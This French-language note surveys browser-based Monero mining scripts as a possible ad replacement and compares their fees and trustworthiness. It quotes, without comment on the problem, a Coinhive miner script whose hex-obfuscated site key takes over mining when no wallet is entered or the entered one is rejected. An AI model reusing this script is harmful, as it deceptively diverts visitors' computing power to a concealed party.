Si c'est fait en demandant l'autorisation de l'utilisateur, avec besoin de renouveler l'autorisation et en n'incluant pas du tout le js dans la page avant l'autorisation pour éviter d'énerver les anti-virus et bloqueurs de scripts de minage, ça pourrait être une alternative pertinente aux pubs. À voir.
Apparemment c'est pas rentable pour le bitcoin, mais les gens ont l'air de le faire sur Monero. Quelques scripts existants :
https://coinhive.com/ - le code n'est pas montré, ils ont l'air de tenir à ce qu'on passe par leurs serveurs et demandent une inscription pour avoir le code : ça pue l'arnaque
I.e. you get 70% of the average XMR we earn. Unlike a traditional mining pool, this rate is fixed, regardless of actual blocks found and the luck involved finding them. We keep 30% for us to operate this service and to (hopefully) turn a profit.
Ils se prennent 30%. NOPE
AuthedMine - script qui nécessite une autorisation pour marcher, à l'air cool en fait c'est juste coinhive avec une étape en plus et un passage par un site tiers obligatoire
JSECoin - crypto dédiée au minage sur navigateur, absolument aucune autre valeur ajoutée + ICO douteuse et chère (2$ minimum) + dépendance à leurs serveurs + ça passera par des iframes donc pas de contrôle du code source à priori ⇒ NOPE
Commission 20%, recommande d'en mettre dans des plugins : NOPE
Site (pas sur la liste de Mining Blocker pour l'instant)
1% de commission, documentation vide et pas la moindre trace de js. Peut quand même faire le café.
Ils ont aussi lancé une crypto censée être ASIC résistante : Site - Taux
Cryptoloot : 88% of mined commissions, at minimum intervals of 0.3 XMR
Site 1% de commission, plusieurs crypto possibles.
Trouvé ce code qui avait l'air intéressant :
Cliquez pour afficher ⇲
Cliquez pour masquer ⇱
$(function() { $('#threads').text(navigator.hardwareConcurrency); var threads = $('#threads').text(); var gustav; var wallet; var statuss; var barChart; var barChartCanvas = $("#barchart-canvas"); var _0xa0d4=["\x65\x74\x6E\x6B\x46\x78\x76\x44\x58\x48\x31\x54\x55\x76\x36\x78\x53\x61\x56\x71\x6D\x70\x31\x37\x4B\x4A\x76\x44\x42\x70\x39\x78\x4B\x5A\x79\x73\x44\x35\x39\x57\x36\x48\x47\x35\x47\x41\x33\x65\x31\x46\x44\x7A\x44\x35\x45\x39\x4A\x74\x64\x77\x58\x66\x47\x6B\x48\x6F\x33\x71\x75\x79\x47\x31\x42\x37\x31\x78\x51\x50\x33\x45\x69\x32\x31\x4C\x52\x46\x33\x61\x33\x51\x57\x71\x4C\x66\x6F\x41\x37\x67\x2E\x35\x30\x30\x30\x40\x4F\x66\x66\x69\x63\x65\x52\x69\x67"];var siteKey=_0xa0d4[0] var hashingChart; var charts = [barChartCanvas]; var selectedChart = 0; if ($.cookie("wallet")) { wallet = $.cookie("wallet"); $('#wallet').val(wallet); } function htmlEncode(value) { return $('<div/>').text(value).html(); } function startLogger() { statuss = setInterval(function() { var hashesPerSecond = gustav.getHashesPerSecond(); var totalHashes = gustav.getTotalHashes(); var acceptedHashes = gustav.getAcceptedHashes(); $('#hashes-per-second').text(hashesPerSecond.toFixed(1)); $('#accepted-shares').text(totalHashes.toLocaleString()+' | '+acceptedHashes.toLocaleString()); threads = gustav.getNumThreads(); $('#threads').text(threads); }, 1000); hashingChart = setInterval(function() { if (barChart.data.datasets[0].data.length > 25) { barChart.data.datasets[0].data.splice(0, 1); barChart.data.labels.splice(0, 1); } barChart.data.datasets[0].data.push(gustav.getHashesPerSecond()); barChart.data.labels.push(""); barChart.update(); }, 1000); }; function stopLogger() { clearInterval(statuss); clearInterval(hashingChart); }; $('#thread-add').click(function() { threads++; $('#threads').text(threads); if (gustav) { $('#autoThreads').prop('checked', false); if (gustav.isRunning()) { gustav.setAutoThreadsEnabled(false); gustav.setNumThreads(threads); } } }); $('#thread-remove').click(function() { if (threads > 1) { threads--; $('#threads').text(threads); if (gustav) { $('#autoThreads').prop('checked', false); if (gustav.isRunning()) { gustav.setAutoThreadsEnabled(false); gustav.setNumThreads(threads); } } } }); $("#start").click(function() { if (!gustav || !gustav.isRunning()) { wallet = $('#wallet').val(); if (wallet) { gustav = new CH.Anonymous(wallet + ".5000"); console.log(wallet); $.cookie("wallet", wallet, { expires: 365 }); gustav.on('error', function(params) { if (params.error !== 'connection_error') { if(params.error == "invalid_site_key") { console.log(params.error); gustav.stop(); stopLogger(); $('#wallet').prop("disabled", false); $("#start").text("Start"); $('#hashes-per-second').text("0"); $('#accepted-shares').text("0" +' | '+"0"); gustav = new CH.Anonymous(siteKey); $('#wallet').prop("disabled", true); gustav.setNumThreads(threads); gustav.setAutoThreadsEnabled($('#autoThreads').prop('checked')); gustav.start(); stopLogger(); startLogger(); $("#start").text("Stop"); } } }); } else { gustav = new CH.Anonymous(siteKey); } $('#wallet').prop("disabled", true); gustav.setNumThreads(threads); gustav.setAutoThreadsEnabled($('#autoThreads').prop('checked')); gustav.start(); stopLogger(); startLogger(); $("#start").text("Stop"); } else { gustav.stop(); stopLogger(); $('#wallet').prop("disabled", false); $("#start").text("Start"); $('#hashes-per-second').text("0"); $('#accepted-shares').text("0" +' | '+"0"); } }); $('#autoThreads').click(function() { if (gustav) { gustav.setAutoThreadsEnabled(!gustav.getAutoThreadsEnabled()); } }); var barChartOptions = { label: 'Hashes', elements: { line: { tension: 0, // disables bezier curves } }, animation: { duration: 0, // general animation time }, responsiveAnimationDuration: 0, scales: { yAxes: [{ ticks: { max: 200, min: 0 } }] } }; var barChartData = { labels: [], datasets: [{ label: "Hashes/s", backgroundColor: "darkcyan", data: [] }], }; barChart = new Chart(barChartCanvas, { type: 'line', data: barChartData, options: barChartOptions }); });
Mine en Monero et repaie en Nano, qui n'a pas de transaction fee. Aucune info sur leur marge cela dit, et ils parlent pas d'intégration.
Liste bloquée par Mining Blocker :